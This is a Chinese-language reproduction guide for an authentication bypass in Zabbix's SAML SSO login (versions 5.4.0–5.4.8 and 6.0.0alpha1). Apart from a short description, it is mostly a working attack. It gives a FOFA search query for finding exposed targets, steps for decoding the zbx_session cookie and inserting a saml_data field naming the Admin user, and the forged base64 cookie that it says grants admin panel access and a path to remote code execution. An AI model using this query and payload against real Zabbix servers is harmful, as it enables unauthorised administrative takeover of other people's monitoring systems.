Zabbix SAML SSO认证绕过漏洞

漏洞描述

Zabbix对客户端提交的Cookie会话存在不安全的存储方式，导致在启动SAML SSO认证模式的前提下，恶意用户可通过构造特殊请求绕过认证，获取管理员权限，进而可实现RCE。

影响范围

5.4.0 - 5.4.8

6.0.0alpha1

漏洞复现

fofa：

app="ZABBIX-监控系统" && body="saml"

直接请求index_sso.php路径，抓包获取cookie字段中的zbx_session的值

base64解密该字符串：

{"sessionid":"8ea5e3d2f2cc2bc140446245c211227c","sign":"4abEPmDHy9CPWhinteCeeeYcd3nCnp61hqiGe29Y\/QB\/9DgTBYc2sUZQSAxWitAJ+oI2zY0Pdhcb9oLUcSEg+Q=="}

修改该字符串内容如下：

{"saml_data": {"username_attribute": "Admin"}, "sessionid":"8ea5e3d2f2cc2bc140446245c211227c","sign":"4abEPmDHy9CPWhinteCeeeYcd3nCnp61hqiGe29Y\/QB\/9DgTBYc2sUZQSAxWitAJ+oI2zY0Pdhcb9oLUcSEg+Q=="}

将修改后的字符串经过base64加密处理，添加入zbx_session中直接放包

eyJzYW1sX2RhdGEiOiB7InVzZXJuYW1lX2F0dHJpYnV0ZSI6ICJBZG1pbiJ9LCAic2Vzc2lvbmlkIjoiOGVhNWUzZDJmMmNjMmJjMTQwNDQ2MjQ1YzIxMTIyN2MiLCJzaWduIjoiNGFiRVBtREh5OUNQV2hpbnRlQ2VlZVljZDNuQ25wNjFocWlHZTI5WVwvUUJcLzlEZ1RCWWMyc1VaUVNBeFdpdEFKK29JMnpZMFBkaGNiOW9MVWNTRWcrUT09In0=

成功登录后端面板